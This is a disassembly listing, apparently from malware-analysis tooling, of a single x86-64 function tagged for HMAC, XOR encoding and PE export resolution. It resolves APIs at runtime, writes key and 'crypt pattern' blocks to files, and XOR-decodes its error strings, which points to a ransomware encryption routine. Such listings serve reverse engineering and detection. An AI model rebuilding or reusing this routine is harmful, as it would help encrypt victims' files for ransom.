Function at 0x14002dbc0
Capabilities:
Authenticate hmac
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x688
movups xmmword [rsp + 0x660], xmm6
movups xmmword [rsp + 0x670], xmm7
mov rsi, rcx
mov ebp, edx
lea rdi, [rsp + 0x570]
mov r12d, r8d
mov qword [rsp + 0x160], 0
lea rbx, [rsp + 0x480]
lea r15, [rsp + 0x160]
mov byte [rsp + 0x160], dl
lea rdx, [rcx + 0x20]
lea rcx, [rsp + 0x178]
mov byte [rsp + 0x161], r8b
mov r8d, 8
mov qword [rsp + 0x168], 0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], 0
call fcn.14000a340
mov r13, qword [rsi + 8]
mov rdx, rdi
mov rcx, rbx
movdqu xmm7, xmmword [str.SetFilePointerEx_]
mov r14d, dword [0x1401220d0]
mov byte [rsp + 0x580], 0
movq xmm6, qword [0x1401220c8]
mov byte [rsp + 0x48c], 0
mov dword [rsp + 0x488], r14d
movups xmmword [rsp + 0x570], xmm7
movq qword [rsp + 0x480], xmm6
call fcn.140002660
xor r8d, r8d
xor edx, edx
mov r9d, 2
mov rcx, r13
call rax
test eax, eax
je 0x14002dee0
mov rcx, qword [rsi + 8]
lea rdx, [rsi + 0x50]
mov r8d, 0x20
call fcn.14002ba80
test al, al
je 0x14002edaa
mov rcx, qword [rsi + 8]
lea rdx, [rsi + 0x28]
mov r8d, 8
call fcn.14002ba80
test al, al
je 0x14002fc2a
mov rcx, qword [rsi + 8]
mov r8d, 0x20
mov rdx, r15
call fcn.14002ba80
test al, al
je 0x14003030e
call fcn.14000bce0
mov rcx, qword [rsi + 8]
mov r8d, 0x10
mov rdx, rax
call fcn.14002ba80
test al, al
je 0x140031192
mov r13, qword [rsi + 8]
mov rax, qword [0x1401222e0]
mov rdx, rdi
mov rcx, rbx
mov byte [rsp + 0x57c], 0
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x656c6946
mov byte [rsp + 0x48c], 0
mov dword [rsp + 0x488], r14d
movq qword [rsp + 0x480], xmm6
call fcn.140002660
mov rcx, r13
call rax
mov r13, qword [rsi + 8]
mov rdx, rdi
mov rcx, rbx
mov byte [rsp + 0x580], 0
mov byte [rsp + 0x48c], 0
mov dword [rsp + 0x488], r14d
movups xmmword [rsp + 0x570], xmm7
movq qword [rsp + 0x480], xmm6
call fcn.140002660
mov rcx, r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13d, eax
test eax, eax
je 0x140031a62
mov r9, qword [rsi]
lea r15, [rsp + 0x580]
mov qword [rsp + 0x570], r15
test r9, r9
je 0x140032235
mov rcx, r9
mov qword [rsp + 0x30], r9
call sub.msvcrt.dll_wcslen
mov r9, qword [rsp + 0x30]
lea rbx, [rax + rax]
mov r10, rbx
sar r10, 1
cmp rbx, 0xe
mov qword [rsp + 0x3c0], r10
ja 0x1400321bf
mov rcx, qword [rsp + 0x570]
cmp r10, 1
jne 0x140032228
movzx eax, word [r9]
mov edx, 2
lea r14, [rsp + 0x3c0]
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x578], rax
xor eax, eax
mov word [rcx + rdx], ax
mov rdx, rdi
mov rcx, r14
call fcn.14000ac10
mov rcx, qword [rsp + 0x570]
cmp rcx, r15
je 0x14002de7b
mov rax, qword [rsp + 0x580]
lea rdx, [rax + rax + 2]
call fcn.14010abb0
mov rcx, qword [rsp + 0x3c0]
mov rbx, qword [rsi + 0x20]
movzx r12d, r12b
movzx ebp, bpl
call fcn.14000a620
mov dword [rsp + 0x20], r12d
mov ecx, eax
mov r9d, ebp
mov r8, rbx
mov rdx, r14
call fcn.140016470
mov rcx, qword [rsp + 0x3c0]
lea rax, [rsp + 0x3d0]
cmp rcx, rax
je 0x14002decf
mov rax, qword [rsp + 0x3d0]
lea rdx, [rax + 1]
call fcn.14010abb0
test r13d, r13d
setne al
jmp 0x14002ed86
mov rax, qword [0x140122128]
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x488], r14d
mov byte [rsp + 0x57c], 0
xor edi, edi
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x726f7272
mov byte [rsp + 0x48c], 0
movq qword [rsp + 0x480], xmm6
call fcn.140002660
call rax
mov word [rsp + 0x23e], di
mov dword [rsp + 0x15c], eax
mov rax, qword [rsi]
mov dword [rsp + 0x570], 0x21
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0x158], eax
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0x14c], edi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0x148], ebx
mov r15d, dword [rsp + 0x570]
mov r14d, dword [rsp + 0x570]
mov dword [rsp + 0x144], esi
mov r8d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov dword [rsp + 0x140], ecx
mov r12d, dword [rsp + 0x570]
mov dword [rsp + 0x13c], edx
mov dword [rsp + 0x138], r11d
mov dword [rsp + 0x134], r10d
mov dword [rsp + 0x130], r9d
mov dword [rsp + 0x12c], r15d
mov dword [rsp + 0x128], r14d
mov dword [rsp + 0x124], r8d
mov dword [rsp + 0x120], ebp
mov dword [rsp + 0x11c], r12d
mov r13d, dword [rsp + 0x570]
mov eax, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov dword [rsp + 0x118], r13d
mov ebx, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0x110], edi
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0x10c], ebx
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0x108], esi
mov r15d, dword [rsp + 0x570]
mov r14d, dword [rsp + 0x570]
mov dword [rsp + 0x104], ecx
mov r8d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov dword [rsp + 0x100], edx
mov r12d, dword [rsp + 0x570]
mov r13d, dword [rsp + 0x570]
mov dword [rsp + 0xfc], r11d
mov dword [rsp + 0xf8], r10d
mov dword [rsp + 0xf4], r9d
mov dword [rsp + 0xf0], r15d
mov dword [rsp + 0xec], r14d
mov dword [rsp + 0xe8], r8d
mov dword [rsp + 0xe4], ebp
mov dword [rsp + 0xe0], r12d
mov dword [rsp + 0xdc], r13d
mov dword [rsp + 0x114], eax
mov eax, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0xd8], eax
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0xd4], edi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0xd0], ebx
mov r15d, dword [rsp + 0x570]
mov r14d, dword [rsp + 0x570]
mov dword [rsp + 0xcc], esi
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0xc8], ecx
mov dword [rsp + 0xb0], r15d
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov r12d, dword [rsp + 0x570]
mov dword [rsp + 0xc4], edx
mov r13d, dword [rsp + 0x570]
mov eax, dword [rsp + 0x570]
mov dword [rsp + 0xb8], r11d
movzx r15d, r15w
mov dword [rsp + 0xc0], r10d
mov dword [rsp + 0xb4], r9d
mov dword [rsp + 0xac], r14d
mov dword [rsp + 0xa8], r8d
mov dword [rsp + 0xa4], ebp
mov dword [rsp + 0xa0], r12d
mov dword [rsp + 0x9c], r13d
mov dword [rsp + 0x98], eax
mov edi, dword [rsp + 0x570]
mov r14d, dword [rsp + 0x570]
mov r13d, dword [rsp + 0x570]
mov dword [rsp + 0x94], edi
mov r12d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
add r14d, 0x30
add r13d, 0x31
mov edi, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
add r12d, 0x32
mov r11d, dword [rsp + 0x570]
mov r10d, dword [rsp + 0x570]
add ebp, 0x33
add edi, 0x34
mov r9d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
add esi, 0x35
add ebx, 0x36
mov ecx, dword [rsp + 0x570]
mov edx, dword [rsp + 0x570]
add r11d, 0x37
add r10d, 0x38
mov eax, dword [rsp + 0x570]
xor r14w, word [str.Cant_write_crypt_pattern_for_file__s._GetLastError___lu]
add r9d, 0x39
add r8d, 0x3a
xor r13w, word [0x1401217aa]
xor r12w, word [0x1401217ac]
add ecx, 0x3b
add edx, 0x3c
add eax, 0x3d
xor ax, word [0x1401217c2]
xor bp, word [0x1401217ae]
mov word [rsp + 0x30], ax
mov eax, dword [rsp + 0x570]
xor di, word [0x1401217b0]
xor si, word [0x1401217b2]
xor bx, word [0x1401217b4]
xor r11w, word [0x1401217b6]
add eax, 0x3e
xor r10w, word [0x1401217b8]
xor r9w, word [0x1401217ba]
xor r8w, word [0x1401217bc]
xor cx, word [0x1401217be]
xor dx, word [0x1401217c0]
xor ax, word [0x1401217c4]
mov word [rsp + 0x38], ax
mov eax, dword [rsp + 0x570]
add eax, 0x3f
xor ax, word [0x1401217c6]
mov word [rsp + 0x46], ax
mov eax, dword [rsp + 0x570]
add eax, 0x40
xor ax, word [0x1401217c8]
mov word [rsp + 0x48], ax
mov eax, dword [rsp + 0x570]
add eax, 0x41
xor ax, word [0x1401217ca]
mov word [rsp + 0x4a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x42
xor ax, word [0x1401217cc]
mov word [rsp + 0x4c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x43
xor ax, word [0x1401217ce]
mov word [rsp + 0x4e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x44
xor ax, word [0x1401217d0]
mov word [rsp + 0x50], ax
mov eax, dword [rsp + 0x570]
add eax, 0x45
xor ax, word [0x1401217d2]
mov word [rsp + 0x52], ax
mov eax, dword [rsp + 0x570]
add eax, 0x46
xor ax, word [0x1401217d4]
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x570]
add eax, 0x47
xor ax, word [0x1401217d6]
mov word [rsp + 0x56], ax
mov eax, dword [rsp + 0x570]
add eax, 0x48
xor ax, word [0x1401217d8]
mov word [rsp + 0x58], ax
mov eax, dword [rsp + 0x570]
add eax, 0x49
xor ax, word [0x1401217da]
mov word [rsp + 0x5a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4a
xor ax, word [0x1401217dc]
mov word [rsp + 0x5c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4b
xor ax, word [0x1401217de]
mov word [rsp + 0x5e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4c
xor ax, word [0x1401217e0]
mov word [rsp + 0x60], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4d
xor ax, word [0x1401217e2]
mov word [rsp + 0x62], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4e
xor ax, word [0x1401217e4]
mov word [rsp + 0x64], ax
mov eax, dword [rsp + 0x570]
add eax, 0x4f
xor ax, word [0x1401217e6]
mov word [rsp + 0x66], ax
mov eax, dword [rsp + 0x570]
add eax, 0x50
xor ax, word [0x1401217e8]
mov word [rsp + 0x68], ax
mov eax, dword [rsp + 0x570]
add eax, 0x51
xor ax, word [0x1401217ea]
mov word [rsp + 0x6a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x52
xor ax, word [0x1401217ec]
mov word [rsp + 0x6c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x53
xor ax, word [0x1401217ee]
mov word [rsp + 0x6e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x54
xor ax, word [0x1401217f0]
mov word [rsp + 0x70], ax
mov eax, dword [rsp + 0x570]
add eax, 0x55
xor ax, word [0x1401217f2]
mov word [rsp + 0x72], ax
mov eax, dword [rsp + 0x570]
add eax, 0x56
xor ax, word [0x1401217f4]
mov word [rsp + 0x74], ax
mov eax, dword [rsp + 0x570]
add eax, 0x57
xor ax, word [0x1401217f6]
mov word [rsp + 0x76], ax
mov eax, dword [rsp + 0x570]
add eax, 0x58
xor ax, word [0x1401217f8]
mov word [rsp + 0x84], ax
mov eax, dword [rsp + 0x570]
add eax, 0x59
xor ax, word [0x1401217fa]
mov word [rsp + 0x78], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5a
xor ax, word [0x1401217fc]
mov word [rsp + 0x80], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5b
xor ax, word [0x1401217fe]
mov word [rsp + 0x86], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5c
xor ax, word [0x140121800]
mov word [rsp + 0x90], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5d
xor ax, word [0x140121802]
mov word [rsp + 0x92], ax
mov eax, dword [rsp + 0x570]
add eax, 0x5e
xor ax, word [0x140121804]
mov word [rsp + 0x88], ax
movzx eax, word [rsp + 0x158]
xor eax, 0x43
mov word [rsp + 0x180], ax
movzx eax, word [rsp + 0x14c]
add eax, 1
xor eax, 0x61
mov word [rsp + 0x182], ax
movzx eax, word [rsp + 0x148]
add eax, 2
xor eax, 0x6e
mov word [rsp + 0x184], ax
movzx eax, word [rsp + 0x144]
add eax, 3
xor eax, 0x27
mov word [rsp + 0x186], ax
movzx eax, word [rsp + 0x140]
add eax, 4
xor eax, 0x74
mov word [rsp + 0x188], ax
movzx eax, word [rsp + 0x13c]
add eax, 5
xor eax, 0x20
mov word [rsp + 0x18a], ax
movzx eax, word [rsp + 0x138]
add eax, 6
xor eax, 0x77
mov word [rsp + 0x18c], ax
movzx eax, word [rsp + 0x134]
add eax, 7
xor eax, 0x72
mov word [rsp + 0x18e], ax
movzx eax, word [rsp + 0x130]
add eax, 8
xor eax, 0x69
mov word [rsp + 0x190], ax
movzx eax, word [rsp + 0x12c]
add eax, 9
xor eax, 0x74
mov word [rsp + 0x192], ax
movzx eax, word [rsp + 0x128]
add eax, 0xa
xor eax, 0x65
mov word [rsp + 0x194], ax
movzx eax, word [rsp + 0x124]
add eax, 0xb
xor eax, 0x20
mov word [rsp + 0x196], ax
movzx eax, word [rsp + 0x120]
add eax, 0xc
xor eax, 0x6b
mov word [rsp + 0x198], ax
movzx eax, word [rsp + 0x11c]
add eax, 0xd
xor eax, 0x65
mov word [rsp + 0x19a], ax
movzx eax, word [rsp + 0x118]
add eax, 0xe
xor eax, 0x79
mov word [rsp + 0x19c], ax
movzx eax, word [rsp + 0x114]
add eax, 0xf
xor eax, 0x20
mov word [rsp + 0x19e], ax
movzx eax, word [rsp + 0x110]
add eax, 0x10
xor eax, 0x66
mov word [rsp + 0x1a0], ax
movzx eax, word [rsp + 0x10c]
add eax, 0x11
xor eax, 0x6f
mov word [rsp + 0x1a2], ax
movzx eax, word [rsp + 0x108]
add eax, 0x12
xor eax, 0x72
mov word [rsp + 0x1a4], ax
movzx eax, word [rsp + 0x104]
add eax, 0x13
xor eax, 0x20
mov word [rsp + 0x1a6], ax
movzx eax, word [rsp + 0x100]
add eax, 0x14
xor eax, 0x66
mov word [rsp + 0x1a8], ax
movzx eax, word [rsp + 0xfc]
add eax, 0x15
xor eax, 0x69
mov word [rsp + 0x1aa], ax
movzx eax, word [rsp + 0xf8]
add eax, 0x16
xor eax, 0x6c
mov word [rsp + 0x1ac], ax
movzx eax, word [rsp + 0xf4]
add eax, 0x17
xor eax, 0x65
mov word [rsp + 0x1ae], ax
movzx eax, word [rsp + 0xf0]
add eax, 0x18
xor eax, 0x20
mov word [rsp + 0x1b0], ax
movzx eax, word [rsp + 0xec]
add eax, 0x19
xor eax, 0x25
mov word [rsp + 0x1b2], ax
movzx eax, word [rsp + 0xe8]
add eax, 0x1a
xor eax, 0x73
mov word [rsp + 0x1b4], ax
movzx eax, word [rsp + 0xe4]
add eax, 0x1b
xor eax, 0x2e
mov word [rsp + 0x1b6], ax
movzx eax, word [rsp + 0xe0]
add eax, 0x1c
xor eax, 0x20
mov word [rsp + 0x1b8], ax
movzx eax, word [rsp + 0xdc]
add eax, 0x1d
xor eax, 0x47
mov word [rsp + 0x1ba], ax
movzx eax, word [rsp + 0xd8]
add eax, 0x1e
xor eax, 0x65
mov word [rsp + 0x1bc], ax
movzx eax, word [rsp + 0xd4]
add eax, 0x1f
xor eax, 0x74
mov word [rsp + 0x1be], ax
movzx eax, word [rsp + 0xd0]
movq xmm0, qword [0x140122200]
movq xmm1, qword [0x140122208]
mov word [rsp + 0x1e0], r14w
mov word [rsp + 0x1e2], r13w
add eax, 0x20
xor eax, 0x4c
mov word [rsp + 0x1c0], ax
movzx eax, word [rsp + 0xcc]
add eax, 0x21
xor eax, 0x61
mov word [rsp + 0x1c2], ax
movzx eax, word [rsp + 0xc8]
add eax, 0x22
xor eax, 0x73
mov word [rsp + 0x1c4], ax
movzx eax, word [rsp + 0xc4]
add eax, 0x23
xor eax, 0x74
mov word [rsp + 0x1c6], ax
movzx eax, word [rsp + 0xb8]
add eax, 0x24
xor eax, 0x45
mov word [rsp + 0x1c8], ax
movzx eax, word [rsp + 0xc0]
add eax, 0x25
xor eax, 0x72
mov word [rsp + 0x1ca], ax
movzx eax, word [rsp + 0xb4]
add eax, 0x26
xor eax, 0x72
mov word [rsp + 0x1cc], ax
movzx eax, word [rsp + 0xb0]
add eax, 0x27
xor eax, 0x6f
mov word [rsp + 0x1ce], ax
movzx eax, word [rsp + 0xa4]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xa8]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xac]
shl rax, 0x10
or rax, r15
movzx r15d, word [rsp + 0xa0]
movq xmm2, rax
lea eax, [r15 + 0x2c]
paddw xmm0, xmm2
movzx r15d, word [rsp + 0x9c]
xor eax, 0x25
mov word [rsp + 0x1d8], ax
lea eax, [r15 + 0x2d]
movzx r15d, word [rsp + 0x98]
xor eax, 0x6c
pxor xmm0, xmm1
mov word [rsp + 0x1da], ax
lea eax, [r15 + 0x2e]
movzx r15d, word [rsp + 0x94]
movq qword [rsp + 0x1d0], xmm0
xor eax, 0x75
mov word [rsp + 0x1dc], ax
lea eax, [r15 + 0x2f]
mov word [rsp + 0x1de], ax
mov word [rsp + 0x1e4], r12w
movzx eax, word [rsp + 0x30]
mov word [rsp + 0x1e6], bp
mov word [rsp + 0x1fa], ax
movzx eax, word [rsp + 0x38]
mov word [rsp + 0x1e8], di
mov word [rsp + 0x1fc], ax
movzx eax, word [rsp + 0x46]
mov word [rsp + 0x1ea], si
mov word [rsp + 0x1fe], ax
movzx eax, word [rsp + 0x48]
mov word [rsp + 0x1ec], bx
mov word [rsp + 0x200], ax
movzx eax, word [rsp + 0x4a]
mov word [rsp + 0x1ee], r11w
mov word [rsp + 0x202], ax
movzx eax, word [rsp + 0x4c]
mov word [rsp + 0x1f0], r10w
mov word [rsp + 0x204], ax
movzx eax, word [rsp + 0x4e]
mov word [rsp + 0x1f2], r9w
mov word [rsp + 0x206], ax
movzx eax, word [rsp + 0x50]
mov word [rsp + 0x1f4], r8w
mov word [rsp + 0x208], ax
movzx eax, word [rsp + 0x52]
mov word [rsp + 0x1f6], cx
mov word [rsp + 0x20a], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x1f8], dx
mov word [rsp + 0x20c], ax
movzx eax, word [rsp + 0x56]
mov word [rsp + 0x20e], ax
movzx eax, word [rsp + 0x58]
mov word [rsp + 0x210], ax
movzx eax, word [rsp + 0x5a]
mov word [rsp + 0x212], ax
movzx eax, word [rsp + 0x5c]
mov word [rsp + 0x214], ax
movzx eax, word [rsp + 0x5e]
mov word [rsp + 0x216], ax
movzx eax, word [rsp + 0x60]
mov word [rsp + 0x218], ax
movzx eax, word [rsp + 0x62]
mov word [rsp + 0x21a], ax
movzx eax, word [rsp + 0x64]
mov word [rsp + 0x21c], ax
movzx eax, word [rsp + 0x66]
mov word [rsp + 0x21e], ax
movzx eax, word [rsp + 0x68]
mov word [rsp + 0x220], ax
movzx eax, word [rsp + 0x6a]
mov word [rsp + 0x222], ax
movzx eax, word [rsp + 0x6c]
mov word [rsp + 0x224], ax
movzx eax, word [rsp + 0x6e]
mov word [rsp + 0x226], ax
movzx eax, word [rsp + 0x70]
mov word [rsp + 0x228], ax
movzx eax, word [rsp + 0x72]
mov word [rsp + 0x22a], ax
movzx eax, word [rsp + 0x74]
mov word [rsp + 0x22c], ax
movzx eax, word [rsp + 0x76]
mov word [rsp + 0x22e], ax
movzx eax, word [rsp + 0x84]
movdqu xmm3, xmmword [rsp + 0x180]
movdqu xmm4, xmmword [rsp + 0x190]
mov word [rsp + 0x230], ax
movzx eax, word [rsp + 0x78]
movdqu xmm5, xmmword [rsp + 0x1a0]
movdqu xmm2, xmmword [rsp + 0x1b0]
movups xmmword [rsp + 0x574], xmm3
mov word [rsp + 0x232], ax
movzx eax, word [rsp + 0x80]
movups xmmword [rsp + 0x584], xmm4
movdqu xmm3, xmmword [rsp + 0x1c0]
movdqu xmm4, xmmword [rsp + 0x1d0]
mov word [rsp + 0x234], ax
movzx eax, word [rsp + 0x86]
movups xmmword [rsp + 0x594], xmm5
movdqu xmm7, xmmword [rsp + 0x1f0]
movdqu xmm5, xmmword [rsp + 0x1e0]
mov word [rsp + 0x236], ax
movzx eax, word [rsp + 0x90]
movups xmmword [rsp + 0x5a4], xmm2
movdqu xmm2, xmmword [rsp + 0x200]
mov word [rsp + 0x238], ax
movzx eax, word [rsp + 0x92]
movups xmmword [rsp + 0x5b4], xmm3
mov word [rsp + 0x23a], ax
movzx eax, word [rsp + 0x88]
movups xmmword [rsp + 0x5c4], xmm4
mov word [rsp + 0x23c], ax
xor eax, eax
movups xmmword [rsp + 0x5d4], xmm5
movups xmmword [rsp + 0x5e4], xmm7
movups xmmword [rsp + 0x5f4], xmm2
movdqu xmm3, xmmword [rsp + 0x210]
movdqu xmm4, xmmword [rsp + 0x220]
movdqu xmm5, xmmword [rsp + 0x230]
movups xmmword [rsp + 0x604], xmm3
movups xmmword [rsp + 0x614], xmm4
movups xmmword [rsp + 0x624], xmm5
nop dword [rax]
movzx ecx, word [rsp + rax*2 + 0x574]
mov edx, dword [rsp + 0x570]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x574], dx
add rax, 1
cmp rax, 0x5f
jne 0x14002ed38
mov r8d, dword [rsp + 0x15c]
mov rdx, qword [rsp + 0x150]
xor ebx, ebx
lea rcx, [rsp + 0x574]
mov word [rsp + 0x632], bx
call fcn.14000c8b0
xor eax, eax
movups xmm6, xmmword [rsp + 0x660]
movups xmm7, xmmword [rsp + 0x670]
add rsp, 0x688
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x140122128]
mov rdx, rdi
mov rcx, rbx
mov dword [rsp + 0x488], r14d
movq qword [rsp + 0x480], xmm6
mov byte [rsp + 0x57c], 0
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], 0x726f7272
mov byte [rsp + 0x48c], 0
call fcn.140002660
call rax
mov dword [rsp + 0x570], 0x60
mov dword [rsp + 0x15c], eax
mov rax, qword [rsi]
xor esi, esi
mov word [rsp + 0x2fe], si
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0x158], eax
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0x14c], esi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0x148], edi
mov r14d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0x144], ebx
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov dword [rsp + 0x140], ecx
mov r12d, dword [rsp + 0x570]
mov dword [rsp + 0x13c], edx
mov dword [rsp + 0x138], r11d
mov dword [rsp + 0x134], r10d
mov dword [rsp + 0x130], r9d
mov dword [rsp + 0x12c], r14d
mov dword [rsp + 0x128], r8d
mov dword [rsp + 0x124], r15d
mov dword [rsp + 0x120], ebp
mov dword [rsp + 0x11c], r12d
mov r13d, dword [rsp + 0x570]
mov eax, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov dword [rsp + 0x118], r13d
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0x110], esi
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0x10c], edi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0x108], ebx
mov r14d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0x104], ecx
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov dword [rsp + 0x100], edx
mov r12d, dword [rsp + 0x570]
mov r13d, dword [rsp + 0x570]
mov dword [rsp + 0xfc], r11d
mov dword [rsp + 0xf8], r10d
mov dword [rsp + 0xf4], r9d
mov dword [rsp + 0xf0], r14d
mov dword [rsp + 0xec], r8d
mov dword [rsp + 0xe8], r15d
mov dword [rsp + 0xe4], ebp
mov dword [rsp + 0xe0], r12d
mov dword [rsp + 0xdc], r13d
mov dword [rsp + 0x114], eax
mov eax, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov edi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
mov ecx, dword [rsp + 0x570]
mov dword [rsp + 0xd8], eax
mov edx, dword [rsp + 0x570]
mov r11d, dword [rsp + 0x570]
mov dword [rsp + 0xd4], esi
mov r10d, dword [rsp + 0x570]
mov r9d, dword [rsp + 0x570]
mov dword [rsp + 0xd0], edi
mov r14d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
mov dword [rsp + 0xcc], ebx
mov r15d, dword [rsp + 0x570]
mov dword [rsp + 0xc8], ecx
mov dword [rsp + 0xc4], edx
mov dword [rsp + 0xa8], r15d
mov r15d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
mov r12d, dword [rsp + 0x570]
mov dword [rsp + 0xb8], r11d
mov r13d, dword [rsp + 0x570]
mov eax, dword [rsp + 0x570]
mov dword [rsp + 0xc0], r10d
movzx r15d, r15w
mov dword [rsp + 0xb4], r9d
mov dword [rsp + 0xb0], r14d
mov dword [rsp + 0xac], r8d
mov dword [rsp + 0xa4], ebp
mov dword [rsp + 0xa0], r12d
mov dword [rsp + 0x9c], r13d
mov dword [rsp + 0x98], eax
mov esi, dword [rsp + 0x570]
mov r14d, dword [rsp + 0x570]
mov r13d, dword [rsp + 0x570]
mov dword [rsp + 0x94], esi
mov r12d, dword [rsp + 0x570]
mov ebp, dword [rsp + 0x570]
add r14d, 0x30
add r13d, 0x31
mov edi, dword [rsp + 0x570]
mov esi, dword [rsp + 0x570]
mov ebx, dword [rsp + 0x570]
add r12d, 0x32
mov r11d, dword [rsp + 0x570]
mov r10d, dword [rsp + 0x570]
add ebp, 0x33
add edi, 0x34
mov r9d, dword [rsp + 0x570]
mov r8d, dword [rsp + 0x570]
add esi, 0x35
add ebx, 0x36
mov ecx, dword [rsp + 0x570]
mov edx, dword [rsp + 0x570]
add r11d, 0x37
add r10d, 0x38
mov eax, dword [rsp + 0x570]
xor r14w, word [str.Cant_write_crypt_pattern_for_file__s._GetLastError___lu]
add r9d, 0x39
add r8d, 0x3a
xor r13w, word [0x1401217aa]
xor r12w, word [0x1401217ac]
add ecx, 0x3b
add edx, 0x3c
add eax, 0x3d
xor ax, word [0x1401217c2]
xor bp, word [0x1401217ae]
mov word [rsp + 0x30], ax
mov eax, dword [rsp + 0x570]
xor di, word [0x1401217b0]
xor si, word [0x1401217b2]
xor bx, word [0x1401217b4]
xor r11w, word [0x1401217b6]
add eax, 0x3e
xor r10w, word [0x1401217b8]
xor r9w, word [0x1401217ba]
xor r8w, word [0x1401217bc]
xor cx, word [0x1401217be]
xor dx, word [0x1401217c0]
xor ax, word [0x1401217c4]
mov word [rsp + 0x38], ax
mov eax, dword [rsp + 0x570]
add eax, 0x3f
xor ax, word [0x1401217c6]
mov word [rsp + 0x46], ax
mov eax, dword [rsp + 0x570]
add eax, 0x40
xor ax, word [0x1401217c8]
mov word [rsp + 0x48], ax
mov eax, dword [rsp + 0x570]
add eax, 0x41
xor ax, word [0x1401217ca]
mov word [rsp + 0x4a], ax
mov eax, dword [rsp + 0x570]
add eax, 0x42
xor ax, word [0x1401217cc]
mov word [rsp + 0x4c], ax
mov eax, dword [rsp + 0x570]
add eax, 0x43
xor ax, word [0x1401217ce]
mov word [rsp + 0x4e], ax
mov eax, dword [rsp + 0x570]
add eax, 0x44
xor ax, word [0x1401217d0]
mov word [rsp + 0x50], ax
mov eax, dword [rsp + 0x570]
add eax, 0x45
xor ax, word [0x1401217d2]
mov word [rsp + 0x52], ax
mov eax, dword [rsp + 0x570]
add eax, 0x46
xor ax, word [0x1401217d4]
mov word [rsp + 0x54], ax
mov eax, dword [rsp + 0x570]
add eax, 0x47
xor ax, word [0x1401217d6]
mov word [rsp + 0x56], ax
mov eax, dword [rsp + 0x570]
add eax, 0x48
xor ax, word [0x1401217d8]
mov word [rsp + 0x58], ax
mov eax, dword [rsp + 0x570]
add eax, 0x49
